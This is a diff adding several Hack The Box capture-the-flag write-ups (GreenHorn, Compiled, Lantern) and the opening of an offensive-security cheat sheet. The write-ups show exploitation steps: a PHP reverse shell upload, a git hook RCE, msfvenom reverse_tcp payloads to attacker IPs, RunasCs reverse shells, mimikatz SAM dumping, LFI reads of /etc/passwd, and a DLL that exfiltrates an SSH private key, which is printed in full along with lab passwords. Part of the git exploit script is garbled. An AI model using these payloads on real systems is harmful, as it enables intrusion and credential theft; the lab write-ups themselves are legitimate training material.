data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - GreenHorn. +--- + +## Box Info + +| Name | GreenHorn | +| :-------------------- | ---------------: | +| Release Date | 20 Jul, 2024 | +| OS | Linux | +| Rated Difficulty | Easy | + +## **Enumeration** + +### Information Gathering + +#### Scan with nmap: + +![Image](/assets/img/post/greenhorn/image.png) + +Add the dns to /etc/hosts: + +```java +echo "10.10.11.25 greenhorn.htb" | sudo tee -a /etc/hosts +``` + +```bash +whatweb greenhorn.htb or wappalyzer from web. +``` + +we have in the bottom a web for `admin` with the `CMS` called '`pluck'` + +![Image](/assets/img/post/greenhorn/image-1.png) + +## CMS pluck 4.7.18 + +We found in the web admin the version for the CMS 'pluck' 4.7.18 which have a `RCE vulnerability` but we need a password for login in the pluck CMS so i look at the port 3000 because we have a http with status 200 so investigate i found a web similar to github. After searching, I found credentials I assumed use it to pluck CMS. + +![Image](/assets/img/post/greenhorn/image-2.png) + +## Gitea + +![Image](/assets/img/post/greenhorn/image-3.png) + +`iloveyou1` + +![Image](/assets/img/post/greenhorn/image-4.png) + +## Explotation + +I login into pluck CMS and we are inside as administrator in the web and see the version of the pluck cms + +![Image](/assets/img/post/greenhorn/image-5.png) + +I found a [RCE](https://www.exploit-db.com/exploits/51592) for that version CMS pluck and we go use it + +![Image](/assets/img/post/greenhorn/image-6.png) + +looked the "upload_url" that tell me the web have a section in "module" of pluck CMS called "installmodule" so we go to investigate and used it + +![Image](/assets/img/post/greenhorn/image-7.png) + +To perform the RCE we need to make a reverse shell with pentestmonkey in php because the server is mount over apache so i use the pentestmonkey reverse shell for compressed and upload . + +![Image](/assets/img/post/greenhorn/image-8.png) + +## Privilege Escalation + +when upload the zip we need to reload the web http://greenhorn.htb/data/modules/shell/revshell.php and listening with `nc -lvnp 9001` Once reload the web we got the reverse shell as www-data but we go to re-use the password iloveyou1 for login as junior and see the user.txt file. + +![Image](/assets/img/post/greenhorn/image-9.png) + +Well for scalation priveligies we download the file 'Using OpenVAS.pdf' + +![Image](/assets/img/post/greenhorn/image-10.png) + +Well, after hours of searching, i need download 2 tools +`pdfimages` from poppler-utils +`depix.py` from https://github.com/spipm/Depix + +`pdfimages ./PDF OUTPUT` + +![Image](/assets/img/post/greenhorn/image-11.png) + +## Pixelized Screenshots + +```zsh +python3 depix.py -p /path/of/openvas image -s /images/searchimages/debruinseq_notepad_windows10_CloseAndSpace.png -o out1.png +``` + +![Image](/assets/img/post/greenhorn/image-12.png) + +And we got the password for root: +sidefromsidetheothersidesidefromsidetheotherside + +![Image](/assets/img/post/greenhorn/image-13.png) + +and login as root + +![Image](/assets/img/post/greenhorn/image-14.png) \ No newline at end of file diff --git a/_posts/2024-01-14-compiled.md b/_posts/2024-01-14-compiled.md new file mode 100644 index 0000000..dee81c7 --- /dev/null +++ b/_posts/2024-01-14-compiled.md @@ -0,0 +1,261 @@ +--- +title: HTB - Compiled +date: 2024-02-02 12:17:34 -0400 +categories: [hackthebox , Compiled] +tags: [HackTheBox, CMS pluck, RCE, User-Agent] +image: + path: /assets/img/post/compiled/compiled-card.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Compiled. +--- + +## Box Info + +| Name | Compiled | +| :-------------------- | ---------------: | +| Release Date | 20 Jul, 2024 | +| OS | Windows | +| Rated Difficulty | Medium | + +## **Enumeration** + +Information gathering + +Nmap +![Image](/assets/img/post/compiled/image.png) + +http://compiled.htb:5000 + +We have a web what does a git clone of a repository and decompress it and save the link of the repository (git). + +![Image](/assets/img/post/compiled/image-1.png) + +The repository calculator tells us a version of git that runs the web. + +http://compiled.htb:3000/richard/Calculator + +![Image](/assets/img/post/compiled/image-2.png) + +## CVE-2024-32002 + +[Resource For Create The Exploit](https://amalmurali.me/posts/git-rce/) + +![Image](/assets/img/post/compiled/image-3.png) + +In few words we need to create 2 empty repository that match with the names the repository and add the payload useing the [Reverse Shell Generator](https://www.revshells.com/) , the names of repo can you rename as `repo1` and `repo2` or wathever you want, just match with the script. + +`git clone --recursive git@github.com:amalmurali47/git_rce.git` + + +```zsh +git config --global protocol.file.allow always +git config --global core.symlinks true +git config --global init.defaultBranch main +rm -rf nothing +rm -rf toSeeHere +git clone http://compiled.htb:3000/test/repo1.git + cd repo1 +mkdir -p y/hooks +cat >y/hooks/post-checkout <dotgit.txt +git hash-object -w --stdin dot-git.hash +printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info +git update-index --index-info + +- whoami /priv +- $Credential.GetNetworkCredential().password +- net user Emily +- tasklist +- Get-Service + +Upload to winPEAS.exe and execute with powershell + +PS>./winPEAS.exe +``` + +## Privilege Escalation + +#### WinPEAS.exe + +![Image](/assets/img/post/compiled/image-9.png) + +Searching in google i found this + +![Image](/assets/img/post/compiled/image-10.png) + +## CVE-2024-20656 + + + +*NFS is a protocol that allows us to access files over a network in a manner similar to how we access local storage, and it’s commonly used to share files between UNIX/Linux and Windows systems.* + +VSStandarCollectorService150 is a diagnostics tools, which is part of the visual studio, creates drectories and files in `"C:\Windows\Temp"`{: .filepath} directory with insufficiently restrivice permissions. + +theres a github with a poc for CVE-2024-20656 but we need to make certain modification on the project, and then compile it to an executable. + +[CVE-2024-20656](https://github.com/Wh04m1001/CVE-2024-20656/tree/main/Expl) + +![Image](/assets/img/post/compiled/image-11.png) + +### Visual Studio + +The modification we make it is: + +```js +WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe"; +``` + + +![Image](/assets/img/post/compiled/image-12.png) + + +and below in the code called `void cb1()` + +```js +CopyFile(L"c:\\users\\public\\payload2.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE); +``` + +Create a new payload with msfvenom for get the shell as Administrator. + +```zsh +msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.16.45 lport=9003 -f exe -o payload2.exe +``` + +You can put the paylaod/reverseShell there or make a path in `c:\windows\Temp`{: .filepath} and make a folder 'test' and inside upload a payload.exe for get shell as `NT/Authority System` + +Create a new project using the Desktop Development C++ Kit and right click on 'Expl' Solution and then a box will appear with the add option and select the Existing Project. + +tip: I missed hours why dont works the Expl.exe i found the "`Debug`" for compilated need to choose to "`Release`" for works the Expl.exe and get the reverse shell. + +![Image](/assets/img/post/compiled/image-13.png) + +Build Solution for compiling/building for get the ouput Expl.exe and upload via Evil-winrm + +![Image](/assets/img/post/compiled/image-14.png) + +For execute the Expl.exe we need to use RunasCs.exe via Evil-winrm but before to execute the expl.exe we go to generate a reverse shell with RunasCs.exe + +```bash +./RunasCs.exe Emily 12345678 powershell.exe -r 10.10.16.45:9090 +``` + +Instant we trying start the service "msiserivce". + +```text +Shell with RunasCs.exe +PS> +net start msiservice +``` + +```text +Shell with Evil-winrm +PS> +./RunasCs.exe Emily 12345678 "C:\Users\Emily\Documents\Expl.exe" +``` + +With msfconsole listening get the shell as Administrator + +![Image](/assets/img/post/compiled/image-15.png) + +Rooted + +We can upload mimikatz.exe for get the hash and login with evil-winrm + +```bash +PS> mimikatz.exe +mimikatz#: lsadumo::sam +``` + +![Image](/assets/img/post/compiled/image-16.png) + + +![Image](/assets/img/post/compiled/image-17.png) diff --git a/_posts/2024-08-23-lantern.md b/_posts/2024-08-23-lantern.md new file mode 100644 index 0000000..7b2d95a --- /dev/null +++ b/_posts/2024-08-23-lantern.md @@ -0,0 +1,536 @@ +--- +title: HTB - Lantern +date: 2024-08-23 00:00:00 +8000 +categories: [hackthebox , Compiled] +tags: [HackTheBox, SSRF, Skipper Proxy, Blazer, API, Decompile, DLL, File Disclosure, LFI, RCE, Procmon] +image: + path: /assets/img/post/Lantern/Lantern.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Lantern. +--- + +## Box Info + +| Name | Lantern | +| :-------------------- | ---------------: | +| Release Date | 23 Aug, 2024 | +| OS | Windows | +| Rated Difficulty | Hard | + + ```bash +$ sudo nmap -p- --open --min-rate 5000 -n -sS -vvv 10.10.11.29 -oG allPorts + +[sudo] password for racc0x: +Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-20 13:25 EDT +Initiating Ping Scan at 13:25 +Scanning 10.10.11.29 [4 ports] +Completed Ping Scan at 13:25, 0.09s elapsed (1 total hosts) +Initiating SYN Stealth Scan at 13:25 +Scanning 10.10.11.29 [65535 ports] +Discovered open port 80/tcp on 10.10.11.29 +Discovered open port 22/tcp on 10.10.11.29 +Discovered open port 3000/tcp on 10.10.11.29 +Completed SYN Stealth Scan at 13:25, 13.43s elapsed (65535 total ports) +Nmap scan report for 10.10.11.29 +Host is up, received echo-reply ttl 63 (0.17s latency). +Scanned at 2024-08-20 13:25:24 EDT for 13s +Not shown: 65532 closed tcp ports (reset) +PORT STATE SERVICE REASON +22/tcp open ssh syn-ack ttl 63 +80/tcp open http syn-ack ttl 63 +3000/tcp open ppp syn-ack ttl 63 +22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) +| ssh-hostkey: +| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA) +|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519) +80/tcp open http Skipper Proxy +|_http-title: Did not follow redirect to http://lantern.htb/ +| fingerprint-strings: +| FourOhFourRequest: +| HTTP/1.0 404 Not Found +| Content-Length: 207 +| Content-Type: text/html; charset=utf-8 +| Date: Tue, 20 Aug 2024 17:26:17 GMT +| Server: Skipper Proxy +| +| +| 404 Not Found +|

Not Found

+|

The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.

+| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: +| HTTP/1.1 400 Bad Request +| Content-Type: text/plain; charset=utf-8 +| Connection: close +| Request +| GetRequest: +| HTTP/1.0 302 Found +| Content-Length: 225 +| Content-Type: text/html; charset=utf-8 +| Date: Tue, 20 Aug 2024 17:26:11 GMT +| Location: http://lantern.htb/ +| Server: Skipper Proxy +| +| +| Redirecting... +|

Redirecting...

+|

You should be redirected automatically to the target URL: http://lantern.htb/. If not, click the link. +| HTTPOptions: +| HTTP/1.0 200 OK +| Allow: GET, OPTIONS, HEAD +| Content-Length: 0 +| Content-Type: text/html; charset=utf-8 +| Date: Tue, 20 Aug 2024 17:26:11 GMT +|_ Server: Skipper Proxy +|_http-server-header: Skipper Proxy +3000/tcp open ppp? +| fingerprint-strings: +| GetRequest: +| HTTP/1.1 500 Internal Server Error +| Connection: close +| Content-Type: text/plain; charset=utf-8 +| Date: Tue, 20 Aug 2024 17:26:16 GMT +| Server: Kestrel +| System.UriFormatException: Invalid URI: The hostname could not be parsed. +| System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions) +| System.Uri..ctor(String uriString, UriKind uriKind) +| Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value) +| Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri) +| Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri) +| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.g__InitializeCore|5_0(HttpContext httpContext) +| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC +| HTTPOptions: +| HTTP/1.1 200 OK +| Content-Length: 0 +| Connection: close +| Date: Tue, 20 Aug 2024 17:26:21 GMT +| Server: Kestrel +| Help: +| HTTP/1.1 400 Bad Request +| Content-Length: 0 +| Connection: close +| Date: Tue, 20 Aug 2024 17:26:16 GMT +| Server: Kestrel +| RTSPRequest: +| HTTP/1.1 505 HTTP Version Not Supported +| Content-Length: 0 +| Connection: close +| Date: Tue, 20 Aug 2024 17:26:22 GMT +| Server: Kestrel +| SSLSessionReq, TerminalServerCookie: +| HTTP/1.1 400 Bad Request +| Content-Length: 0 +| Connection: close +| Date: Tue, 20 Aug 2024 17:26:38 GMT +|_ Server: Kestrel +2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : +==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== +``` + +It is using an Ubuntu Jammy + +![Image](../assets/img/post/Lantern/1.png) + +**Web:** + +At the bottom of the page, we find that we can upload a PDF file. + +![Image](../assets/img/post/Lantern/2.png) + +![Image](../assets/img/post/Lantern/3.png) + +Web port 3000 + +Through port 3000, we have another page but for administrators + +![Image](../assets/img/post/Lantern/image.png) + +The web page is using blazor framework + +![Image](../assets/img/post/Lantern/image-1.png) + +Looking what it is blazor framework + +![Image](../assets/img/post/Lantern/image-2.png) + +http://lantern.htb:3000/Error + +![Image](../assets/img/post/Lantern/image-3.png) + + + +```bash +feroxbuster -u http://lantern.htb/ +``` + +![Image](../assets/img/post/Lantern/image-4.png) + +## CVE-2022-38580 + +https://www.exploit-db.com/exploits/51111 + +[CVE-2022-38580](https://www.exploit-db.com/exploits/51111). + +![Image](../assets/img/post/Lantern/image-5.png) + +Skipper Proxy is an open-source HTTP proxy designed to manage and route web traffic. + +![alt text](../assets/img/post/Lantern/image-6.png) + +## SSRF | Skipper Proxy + +X-Skipper-Proxy: http://127.0.0.1:5000/ +X-Skipper-Proxy: http://127.0.0.1:3000/ + +![alt text](../assets/img/post/Lantern/image-7.png) + +We will target internal ports and see if we can get a response (200 OK). + +![alt text](../assets/img/post/Lantern/image-8.png) + +### EndPoints + +```js + + + + + + + + +

Loading...
+ +
+ An unhandled error has occurred. + Reload + 🗙 +
+ + +``` + +## Blazor Framework + + +```bash + +``` + +Here we found another file interesting. + +view-source:http://lantern.htb:3000/_framework/ + +![Image](../assets/img/post/Lantern/image-10.png) + +view-source:http://lantern.htb:3000/_framework/blazor.server.js + +![Image](../assets/img/post/Lantern/image-9.png) + +![Image](../assets/img/post/Lantern/image-11.png) + +```bash +GET /_framework/blazor.server.js HTTP/1.1 +Host: lantern.htb +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 +Accept: */* +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate, br +X-Skipper-Proxy: http://127.0.0.1:3000 +Referer: http://lantern.htb/vacancies +Content-Type: multipart/form-data; boundary=---------------------------77018016341540896892659445340 +Content-Length: 714 +Origin: http://lantern.htb +Connection: keep-alive +``` + +We filter by the blazor word for know if there exist another file interesting. + +![Image](../assets/img/post/Lantern/image-12.png) + +I found 2 routes, of which blazor.boot.json contains paths to DLL files. We will try to access them and find something interesting. + +`_framework/dotnet.wasm` + +`_framework/blazor.boot.json` + +![Image](../assets/img/post/Lantern/image-13.png) + +## DLL + +Radzen.Blazor.dll +InternaLantern.dll + + +![Image](../assets/img/post/Lantern/image-14.png) + +```bash +GET /_framework/InternaLantern.dll HTTP/1.1 +Host: lantern.htb +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 +Accept: */* +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate, br +X-Skipper-Proxy: http://127.0.0.1:5000 +Referer: http://lantern.htb/vacancies +Content-Type: multipart/form-data; boundary=---------------------------77018016341540896892659445340 +Content-Length: 714 +Origin: http://lantern.htb +Connection: keep-alive +``` + +For download the DLL's we can use curl: + +```bash +curl -X GET "http://lantern.htb/_framework/InternaLantern.dll" -H "Host: lantern.htb" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" -H "X-Skipper-Proxy: http://127.0.0.1:5000" -H "Connection: close" --output internalantern.dll +``` +And for decompile DLL's we can use: + +**dnSpy** _Spoiler:_ We didn't get good results. + +**dotPeek** + + +```bash +employee1.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20=")); +employee2.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ==")); +employee3.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20=")); +employee4.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ==")); +employee5.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20=")); +employee6.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=")); +``` + +Decode the string in base64 (_echo "" | base64 -d) + +- Head of sales department, emergency contact: +4412345678, email: john.s@example.com +- HR, emergency contact: +4412345678, email: anny.t@example.com + +- FullStack developer, emergency contact: +4412345678, email: catherine.r@example.com + +- PR, emergency contact: +4412345678, email: lara.s@example.com + +- PR, emergency contact: +4412345678, email: lara.s@example.com + +- System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22 Ask to change after first login! + +Login lantern.htb:3000 with the credentials `admin:AJbFA_Q@925p9ap#22` + +![Image](../assets/img/post/Lantern/image-15.png) + +There is a section where we can upload DLL files; at this point, what comes to mind is a potential RCE. + +![Image](../assets/img/post/Lantern/image-16.png) + +![Image](../assets/img/post/Lantern/image-17.png) + +File Disclosure Vulnerability + +![Image](../assets/img/post/Lantern/image-18.png) + +![Image](../assets/img/post/Lantern/image-19.png) + +## LFI + +![Image](../assets/img/post/Lantern/image-20.png) + +```bash +http://lantern.htb/PrivacyAndPolicy?lang=../../../../etc/resolv&ext=conf +``` + +![Image](../assets/img/post/Lantern/image-21.png) + +http://lantern.htb/PrivacyAndPolicy?lang=../../../../&ext=./etc/passwd + +![Image](../assets/img/post/Lantern/image-22.png) + +**User:** `tomas` + +## RCE | Insecure Deserialization | Blazor + +Now we will intercept the request to see how it is sent to the server behind the scenes + +![Image](../assets/img/post/Lantern/image-28.png) + +It seems we can see the serialized information in JSON; to read it, we need to deserialize it. For that, we will use an extension in BurpSuite called BPB. + +![Image](../assets/img/post/Lantern/image-23.png) + +![Image](../assets/img/post/Lantern/image-24.png) + +We need to upload a DLL file and see what we can do with the deserialized data. Once we upload the file and deserialize it, we can see that we can insert the name of our file in the path to execute it. + +### Deserialize + +![Image](../assets/img/post/Lantern/image-25.png) + +### Serialize + +![Image](../assets/img/post/Lantern/image-26.png) + +Below you can see that can execute the test.dll file. + +![Image](../assets/img/post/Lantern/image-27.png) + +Now we a create and charge our dll file for show the id_rsa from user tomas. + +```bash +sudo apt install dotnet-sdk-6.0 +mkdir xpl_project && \ +cd xpl_project && \ +dotnet new classlib -n xpl +``` + +```powershell +using Microsoft.AspNetCore.Components; +using Microsoft.AspNetCore.Components.Rendering; +using System.IO; + +namespace xpl +{ + public class Component : ComponentBase + { + protected override void BuildRenderTree(RenderTreeBuilder builder) + { + base.BuildRenderTree(builder); + + // Read private SSH key of user tomas + string file = File.ReadAllText("/home/tomas/.ssh/id_rsa"); + + builder.AddContent(0, file); + } + } +} +``` + +```bash +dotnet add package Microsoft.AspNetCore.Components --version 6.0.0 && \ + +dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0 + +dotnet build -c release + +We will find the xpl.dll file under path /xpl_project/xpl/bin/release/net6.0. +``` + +**We got the id_rsa:** + +![Image](../assets/img/post/Lantern/image-29.png) + +``` +-----BEGIN OPENSSH PRIVATE KEY----- +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 +-----END OPENSSH PRIVATE KEY----- +``` + +`/var/mail$ cat tomas` + +![Image](../assets/img/post/Lantern/image-30.png) + +`sudo -l` + +![Image](../assets/img/post/Lantern/image-31.png) + + +## Procmon + +**-p/--pids:** This option allows us to specify a list of Process IDs (PIDs) that we want to monitor. We can provide multiple PIDs by separating them with commas. + +**-e/--events:** With this option, we can specify which system calls or events you want to monitor. Like the PIDs, these events can also be provided as a comma-separated list. + +**-c/--collect [FILEPATH]:** This option starts procmon in headless mode, meaning it will run without a user interface and will collect data directly into a specified file. This is useful for automated or script-based monitoring. + +**-f/--file FILEPATH:** This option allows us to open an existing procmon trace file. It’s useful when we want to analyze previously collected data rather than monitoring processes in real time. + + +![Image](../assets/img/post/Lantern/proc1.png) + +`run command: `ps -aux` | `ps -aux | grep automation` for to display information about the currently running processes.` + +![Image](../assets/img/post/Lantern/proc2.png) + +Now we can see the write operations performed by the process with the follow command: + +`sudo /usr/bin/procmon -p [PID] -e write` + +Wait for a few minutes, long enough for the program to write sufficient data, Press F6 to export logs and F9 to exit: + +![Image](../assets/img/post/Lantern/proc3.png) + +![Image](../assets/img/post/Lantern/proc4.png) + +**Download db:** + +```bash +scp -i id_rsa tomas@lantern.htb:/home/tomas/procmon_2024- +08-23_00:50:02.db lantern.db +``` + +Open db with Sqlite3: + +`.tables` +`SELECT * FROM ebpf;` + +![Image](../assets/img/post/Lantern/proc5.png) + +`.output out.txt` + +`SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;` + +**Hexadecimal format** + +[CyberChef](https://gchq.github.io/CyberChef/) + +![Image](../assets/img/post/Lantern/proc6.png) + +Or use this script for decode the hexadecimal format: + +```python +import binascii + +# Read the content from out.txt +with open('out.txt', 'r') as file: + hex_data = file.read().strip().replace('\n', '') + +# Convert hex data to binary +binary_data = binascii.unhexlify(hex_data) + +# Decode the binary data to a string +try: + decoded_string = binary_data.decode('utf-8', errors='replace') +except UnicodeDecodeError: + decoded_string = binary_data.decode('latin1', errors='replace') + +print("Decoded Data:\n") +print(decoded_string) + +``` + +![Image](../assets/img/post/Lantern/proc7.png) + +We need to delete the duplicate letters. + +![Image](../assets/img/post/Lantern/proc8.png) + +![Image](../assets/img/post/Lantern/proc9.png) + +Pwned!! \ No newline at end of file diff --git a/_posts/2024-09-04-offensive-sec.md b/_posts/2024-09-04-offensive-sec.md new file mode 100644 index 0000000..5cc7178 --- /dev/null +++ b/_posts/2024-09-04-offensive-sec.md @@ -0,0 +1,1956 @@ +--- +title: "Offensive Security CheatSheet" +date: 1997-02-21 00:00:00 +8000 +categories: [Red team, Offensive Security, Cheatsheet] +tags: [] +description: Offensive Security CheatSheet +image: + path: /assets/img/post/offsec/offsec.png + alt: Offensive Security Cheat Sheet +--- +_Inspiration and Credits [s4thv1k-oscp-cheatsheet](https://s4thv1k.com/posts/oscp-cheatsheet/)_ +# **Linux** + +## **Network Enumeration** + +#### Ping + +```bash +How to know if the target is active? +ping -c 3 {IP} # https://subinsb.com/default-device-ttl-values/ +``` + +#### Nmap + +```bash +nmap -p- --open --min-rate 5000 -sS -n -vvv -Pn IP -oG allPorts + +nmap -sCV -p 80,443,8080 IP -oN targeted + +nmap -sC -sV IP -oN targeted +``` + +- Add to hosts + +```bash +echo "10.10.11.252 domain.htb" | sudo tee -a /etc/hosts +``` + +#### 